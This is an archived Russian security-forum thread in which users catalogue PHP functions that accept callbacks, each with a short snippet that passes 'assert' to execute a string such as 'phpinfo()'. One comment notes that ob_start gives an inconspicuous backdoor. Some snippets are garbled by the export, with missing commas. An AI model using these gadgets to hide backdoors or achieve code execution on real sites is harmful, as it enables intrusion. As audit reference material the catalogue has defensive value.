RDot

RDot (https://rdot.org/forum/index.php)
-   Уязвимости PHP/PHP vulnerabilities (https://rdot.org/forum/forumdisplay.php?f=26)
-   -   PHP функции использующие Callback function (https://rdot.org/forum/showthread.php?t=221)

RulleR 08.07.2010 17:29

PHP функции использующие Callback function
 
PHP функции использующие Callback function

Решил собрать все известные пхп функции, в которых можно использовать callback.
В качестве callback функции использовал:
assert, т.к. eval нельзя вызывать как callback функцию;
call_user_func и register_shutdown_function, т.к. эти функции могут принимать 2 параметра.
Тестировалось на PHP 5.3.1

array_map
PHP код:

array_map('assert', array('phpinfo()')); 

array_filter
PHP код:

array_filter(array('phpinfo()'), 'assert'); 

array_reduce
PHP код:

array_reduce(array('phpinfo()'), 'call_user_func''assert'); 

array_diff_uassoc
PHP код:

array_diff_uassoc(array('phpinfo()' => 1'assert' => 1), array(), 'call_user_func'); 

array_diff_ukey
PHP код:

array_diff_ukey(array('assert' => 1), array('phpinfo()' => 1), 'call_user_func'); 

array_udiff
PHP код:

array_udiff(array('assert'), array('phpinfo()'), 'call_user_func'); 

array_udiff_assoc
PHP код:

array_udiff_assoc(array('assert'), array('phpinfo()'), 'call_user_func'); 

array_udiff_uassoc
PHP код:

array_diff_uassoc(array('assert' => 1), array('phpinfo()' => 1), 'call_user_func'); 

array_intersect_uassoc
PHP код:

array_intersect_uassoc(array('phpinfo()' => 1'assert' => 1), array(), 'call_user_func'); 

array_intersect_ukey
PHP код:

array_intersect_ukey(array('assert'  => 1), array('phpinfo()' => 1), 'call_user_func'); 

array_uintersect
PHP код:

array_uintersect(array('phpinfo()''assert'), array(), 'call_user_func'); 

array_uintersect_assoc
PHP код:

array_uintersect_assoc(array('assert'), array('phpinfo()'), 'call_user_func'); 

array_uintersect_uassoc
PHP код:

$a = array('assert' => 'assert');
$b = array("print'register_shutdown_function'" => "print'call_user_func'");
array_uintersect_uassoc($a$b'call_user_func''register_shutdown_function'); 

array_walk
PHP код:

array_walk($c = array('phpinfo()' => 'assert'), 'call_user_func'); 

array_walk_recursive
PHP код:

array_walk_recursive($c = array('phpinfo()' => 'assert'), 'call_user_func'); 

call_user_func
PHP код:

call_user_func('assert''phpinfo()'); 

call_user_func_array
PHP код:

call_user_func_array('assert', array('phpinfo()')); 

iterator_apply
PHP код:

iterator_apply(new ArrayIterator(array(1)), 'call_user_func', array('assert''phpinfo()')); 

register_shutdown_function
PHP код:

register_shutdown_function('assert''phpinfo()'); 

usort
PHP код:

usort($c = array('phpinfo()''assert'), 'call_user_func'); 

uasort
PHP код:

uasort($c = array(=> 'phpinfo()'=> 'assert'), 'call_user_func'); 

uksort
PHP код:

uksort($c = array('phpinfo()' => 1'assert' => 1), 'call_user_func'); 


d0znpp 21.10.2010 22:54

xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()

stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()

Qwazar 22.10.2010 01:05

Было же в МОА :) Ты ещё забыл ob_start, при её использовании бекдор довольно беспалевно выглядит.

d0znpp 22.10.2010 13:40

Ну да было, учитывая, что ту статью в MOPS, если ты про эту http://php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html, писал Артур, который работает на ONsec :)
Просто там не было такого длинного списка, который был здесь, а здесь не было того хвоста.
Я решил все вместе свести.

Qwazar 22.10.2010 21:16

Не, то что я имею в виду было даже не в этом году.

Pr0xor 22.10.2010 21:28

Цитата:

Сообщение от d0znpp (Сообщение 8306)
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()

Как написано в манах, все эти функции

Returns TRUE on success or FALSE on failure.

Насколько я понимаю обычно они не используются по одиночке, так как организация xml парсера, требует
нескольких функции
http://www.php.net/manual/en/ref.xml.php
Далее когда пишут xml парсер то калбек задается довольно четко, и не дву смыслено.

Поэтому интересны два вопроса
1. Есть ли вообще уязвимости, где RCE осуществляется через эти функции?
2. Возможно ли только через одну из этих функции выполнить код?

--- stream_filter_register мы уже обсудили здесь https://rdot.org/forum/showthread.php?t=605&page=3
--- register_shutdown_function, была выше.
--- set_error_handler не особо может нам помочь, потому что в обычных скриптах, в нее обычно
вставлена функции которая как то обрабатывает ошибки, а передать в нее что то типа preg_replace, не выйдет, тока phpinfo (то есть без аргументную пользовательскую функцию PHP)....

P.S. кстати там рядом еще одна статейка лежит
http://php-security.org/2010/05/24/mops-submission-09-rips-a-static-source-code-analyser-for-vulnerabilities-in-php-scripts/index.html
так вот в ней есть тоже довольно интересные наводки, например
mb_ereg_replace и mb_eregi_replace
http://php.net/manual/en/function.mb-ereg-replace.php
http://www.php.net/manual/en/function.mb-eregi-replace.php
, эти функции как и preg_replace, можно использовать в калбек функциях, причем, есть бага
http://bugs.php.net/bug.php?id=48180, позволяющая несколько расширить возможности

d0znpp 01.11.2010 17:15

Копись, копилочка...

preg_replace_callback
http://php.net/manual/en/function.preg-replace-callback.php

Сегодня наткнулся в работе.

oRb 01.11.2010 17:36

Добавлю свои 5 копеек:
PHP код:

function foo($x) {
    echo 
'pew';
    exit;
}
spl_autoload_register('foo');

new 
NonExistedClass

PHP код:

$i = new ArrayIterator(array(1));
iterator_apply($i"assert", array('phpinfo();')); 

PHP код:

$ch curl_init();
curl_setopt($chCURLOPT_URL'http://google.com/');
curl_setopt($chCURLOPT_HEADERFUNCTION'foo');
curl_exec($ch);
curl_close($ch);

function 
foo($ch$string) {
    echo 
'pew';



BlackFan 01.11.2010 22:43

http://ru.php.net/manual/en/ref.filter.php

PHP код:

filter_input(INPUT_GET,'c',FILTER_CALLBACK,array("options"=>"assert")); 

PHP код:

filter_var("phpinfo()"FILTER_CALLBACK,array("options"=>"assert")); 

PHP код:

filter_input_array(INPUT_GET, array("c" => array("filter"=>FILTER_CALLBACK,"options"=>"assert"))); 

PHP код:

filter_var_array(array("c" => "phpinfo()"), array("c" => array("filter"=>FILTER_CALLBACK,"options"=>"assert"))); 


Pashkela 06.01.2011 04:20

http://php.net/manual/en/function.session-set-save-handler.php

PHP код:

<?
session_set_save_handler
("assert""phpinfo""assert""assert""assert""assert");
?>

PS: вообще стоит повнимательней почитать про эту функцию, там возможен не только вариант, представленный в примере


Часовой пояс GMT +3, время: 16:03.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot